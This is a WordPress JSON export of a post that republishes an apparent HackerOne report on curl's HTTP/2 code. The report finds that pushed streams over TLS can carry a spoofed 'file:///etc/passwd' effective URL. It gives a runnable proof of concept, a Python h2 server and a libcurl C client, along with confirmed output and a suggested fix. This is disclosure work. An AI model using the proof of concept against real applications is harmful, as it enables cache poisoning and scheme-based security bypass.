{"id":47405,"date":"2026-04-16T03:34:59","date_gmt":"2026-04-16T03:34:59","guid":{"rendered":"http:\/\/localhost\/?p=47405"},"modified":"2026-04-16T03:34:59","modified_gmt":"2026-04-16T03:34:59","slug":"curl-libhttp2c-ssl-connections-accept-non-http-push-schemes-incomplete-fix-for-2e8c922a","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=47405","title":{"rendered":"curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-16T07:35:58&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\n`set_transfer_url()` in `lib\/http2.c` validates the `:scheme` pseudo-header\\nof PUSH_PROMISE frames only when `!via_ssl_conn` \u2014 a guard added by commit\\n`2e8c922a` to block non-TLS connections from accepting TLS-scheme pushes.\\nThe symmetric case was not addressed: over TLS, `via_ssl_conn` is TRUE, the\\nguard at line 735 is skipped, and `curl_url_set(u, CURLUPART_SCHEME, v, 0)`\\nis called at line 743 with whatever scheme the server supplied.\\nIn default builds (`CURL_DISABLE_FILE=OFF`), `Curl_get_scheme(\\&#8221;file\\&#8221;)` returns\\na valid scheme with a non-NULL `run` pointer, so `curl_url_set` returns\\n`CURLUE_OK` and the push handle URL becomes `file:\/\/\/etc\/passwd`.\\nThe server does not gain local file read \u2014 pushed data comes from the H2\\nstream \u2014 but `CURLINFO_EFFECTIVE_URL` returns `\\&#8221;file:\/\/\/etc\/passwd\\&#8221;` and the\\ntransfer completes `result=0`, confirmed on libcurl\/8.19.0 nghttp2\/1.68.1.\\nApplications using `CURLMOPT_PUSHFUNCTION` that key caches or routing on\\nthe effective URL process server-delivered content under a spoofed `file:\/\/`\\nlabel; the official `CURLMOPT_PUSHFUNCTION.md` (line 117) example validates\\nonly `:path`, making it directly exploitable.\\n\\n## Affected version\\ncurl 8.19.0 (x86_64-pc-linux-gnu) libcurl\/8.19.0 OpenSSL\/3.6.1\\nzlib\/1.3.1.zlib-ng nghttp2\/1.68.1 (Arch Linux x86_64)\\nIntroduced by: commit 2e8c922a (2026-03-27)\\n\\n## Steps To Reproduce:\\nDeps: python3, pip install h2, gcc, libcurl-dev with nghttp2 (default build).\\n\\n1. Generate TLS cert:\\nopenssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \\\\\\n  -days 1 -nodes -subj \\&#8221;\/CN=localhost\\&#8221; \\\\\\n  -addext \\&#8221;subjectAltName=IP:127.0.0.1\\&#8221; \\\\\\n  -addext \\&#8221;basicConstraints=CA:true\\&#8221;\\n\\n2. Save server.py and run: python3 server.py cert.pem key.pem 18443 \\u0026\\n\\nimport sys, ssl, socket, threading\\nimport h2.connection, h2.config, h2.events\\nCERT, KEY, PORT = sys.argv[1], sys.argv[2], int(sys.argv[3])\\ndef handle(sock):\\n    conn = h2.connection.H2Connection(\\n        config=h2.config.H2Configuration(client_side=False, header_encoding=&#8217;utf-8&#8242;))\\n    conn.initiate_connection(); conn.receive_data(b&#8221;)\\n    pushed = False; client_id = None\\n    while True:\\n        data = sock.recv(65535)\\n        if not data: break\\n        for ev in conn.receive_data(data):\\n            if isinstance(ev, h2.events.RequestReceived): client_id = ev.stream_id\\n            elif isinstance(ev, h2.events.StreamEnded) and not pushed:\\n                pushed = True\\n                conn.push_stream(client_id, 2, [(&#8216;:method&#8217;,&#8217;GET&#8217;),(&#8216;:scheme&#8217;,&#8217;file&#8217;),\\n                    (&#8216;:path&#8217;,&#8217;\/etc\/passwd&#8217;),(&#8216;:authority&#8217;,f&#8217;127.0.0.1:{PORT}&#8217;)])\\n                conn.send_headers(2,[(&#8216;:status&#8217;,&#8217;200&#8242;)])\\n                conn.send_data(2,b&#8217;injected&#8217;,end_stream=True)\\n                conn.send_headers(client_id,[(&#8216;:status&#8217;,&#8217;200&#8242;)])\\n                conn.send_data(client_id,b&#8217;ok&#8217;,end_stream=True)\\n        d = conn.data_to_send(65535)\\n        if d: sock.sendall(d)\\n    sock.close()\\nctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\\nctx.load_cert_chain(CERT,KEY); ctx.set_alpn_protocols([&#8216;h2&#8217;])\\nwith socket.socket() as s:\\n    s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\\n    s.bind((&#8216;127.0.0.1&#8217;,PORT)); s.listen(5); print(&#8216;READY&#8217;,flush=True)\\n    while True:\\n        c,_ = s.accept()\\n        threading.Thread(target=lambda c=c: (lambda t: handle(t))(ctx.wrap_socket(c,server_side=True)),daemon=True).start()\\n\\n3. Save client.c and compile: gcc -o client client.c $(pkg-config &#8211;cflags &#8211;libs libcurl)\\n\\n#include \\u003cstdio.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\nstatic size_t noop(char*p,size_t s,size_t n,void*u){return s*n;}\\nstatic int push_cb(CURL*p,CURL*c,size_t n,struct curl_pushheaders*h,void*u){\\n  char*url=NULL; curl_easy_getinfo(c,CURLINFO_EFFECTIVE_URL,\\u0026url);\\n  fprintf(stderr,\\&#8221;PUSH URL: %s\\\\n\\&#8221;,url?url:\\&#8221;null\\&#8221;);\\n  curl_easy_setopt(c,CURLOPT_WRITEFUNCTION,noop); return CURL_PUSH_OK;}\\nint main(int ac,char**av){\\n  CURLM*m=curl_multi_init(); CURL*e=curl_easy_init();\\n  curl_easy_setopt(e,CURLOPT_URL,av[1]);\\n  curl_easy_setopt(e,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_2_0);\\n  curl_easy_setopt(e,CURLOPT_CAINFO,av[2]);\\n  curl_easy_setopt(e,CURLOPT_WRITEFUNCTION,noop);\\n  curl_multi_setopt(m,CURLMOPT_PUSHFUNCTION,push_cb);\\n  curl_multi_add_handle(m,e);\\n  int r=1; while(r\\u003e0){curl_multi_perform(m,\\u0026r);if(r)curl_multi_poll(m,0,0,500,0);}\\n  return 0;}\\n\\n4. Run: .\/client https:\/\/127.0.0.1:18443\/ cert.pem\\n\\nConfirmed output (libcurl\/8.19.0, result=0):\\nPUSH URL: file:\/\/\/etc\/passwd\\n\\n## Impact\\n\\n## Summary:\\nAn HTTPS server can inject any non-HTTP scheme into a pushed resource&#8217;s\\neffective URL. Applications using CURLMOPT_PUSHFUNCTION receive\\nCURLINFO_EFFECTIVE_URL = \\&#8221;file:\/\/\/etc\/passwd\\&#8221; for server-delivered content.\\nThe server does not read local files \u2014 data comes from the H2 push stream \u2014\\nbut downstream application code that keys response caches, routing decisions,\\nor audit logs on the effective URL processes server-crafted content under a\\nspoofed file:\/\/ label (cache poisoning, scheme-based security logic bypass,\\nmisleading audit logs). Preconditions: application sets CURLMOPT_PUSHFUNCTION\\n(non-default) and callback accepts the push.\\n\\nSuggested fix: in set_transfer_url(), add a symmetric check for via_ssl_conn=TRUE\\nthat only permits \\&#8221;http\\&#8221; and \\&#8221;https\\&#8221; schemes, mirroring the existing non-SSL\\nguard at line 735:\\n\\n  if(via_ssl_conn) {\\n    if(!curl_strequal(v, \\&#8221;https\\&#8221;) \\u0026\\u0026 !curl_strequal(v, \\&#8221;http\\&#8221;)) {\\n      rc = 1; goto fail;\\n    }\\n  }\\n  else {\\n    const struct Curl_scheme *scheme = Curl_get_scheme(v);\\n    if(!scheme || (scheme-\\u003eflags \\u0026 PROTOPT_SSL)) {\\n      rc = 1; goto fail;\\n    }\\n  }&#8221;,&#8221;published&#8221;:&#8221;2026-04-15T06:22:35&#8243;,&#8221;modified&#8221;:&#8221;2026-04-16T07:02:56&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3674275&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3674275&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-16T07:35:58&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\n`set_transfer_url()` in `lib\/http2.c` validates the `:scheme` pseudo-header\\nof PUSH_PROMISE frames only when `!via_ssl_conn` \u2014 a guard added by commit\\n`2e8c922a` to block non-TLS connections from accepting&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-47405","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=47405\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-16T07:35:58&#8243;,&#8221;description&#8221;:&#8221;## Summary:n`set_transfer_url()` in `lib\/http2.c` validates the `:scheme` pseudo-headernof PUSH_PROMISE frames only when `!via_ssl_conn` \u2014 a guard added by commitn`2e8c922a` to block non-TLS connections from accepting...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=47405\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-16T03:34:59+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47405#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47405\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: lib\\\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275\",\"datePublished\":\"2026-04-16T03:34:59+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47405\"},\"wordCount\":1005,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=47405#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47405\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47405\",\"name\":\"curl: lib\\\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-16T03:34:59+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47405#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=47405\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47405#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: lib\\\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=47405","og_locale":"en_US","og_type":"article","og_title":"curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-16T07:35:58&#8243;,&#8221;description&#8221;:&#8221;## Summary:n`set_transfer_url()` in `lib\/http2.c` validates the `:scheme` pseudo-headernof PUSH_PROMISE frames only when `!via_ssl_conn` \u2014 a guard added by commitn`2e8c922a` to block non-TLS connections from accepting...","og_url":"https:\/\/zero.redgem.net\/?p=47405","og_site_name":"zero redgem","article_published_time":"2026-04-16T03:34:59+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=47405#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=47405"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275","datePublished":"2026-04-16T03:34:59+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=47405"},"wordCount":1005,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=47405#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=47405","url":"https:\/\/zero.redgem.net\/?p=47405","name":"curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-16T03:34:59+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=47405#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=47405"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=47405#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)_H1:3674275"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/47405","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=47405"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/47405\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=47405"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=47405"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=47405"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}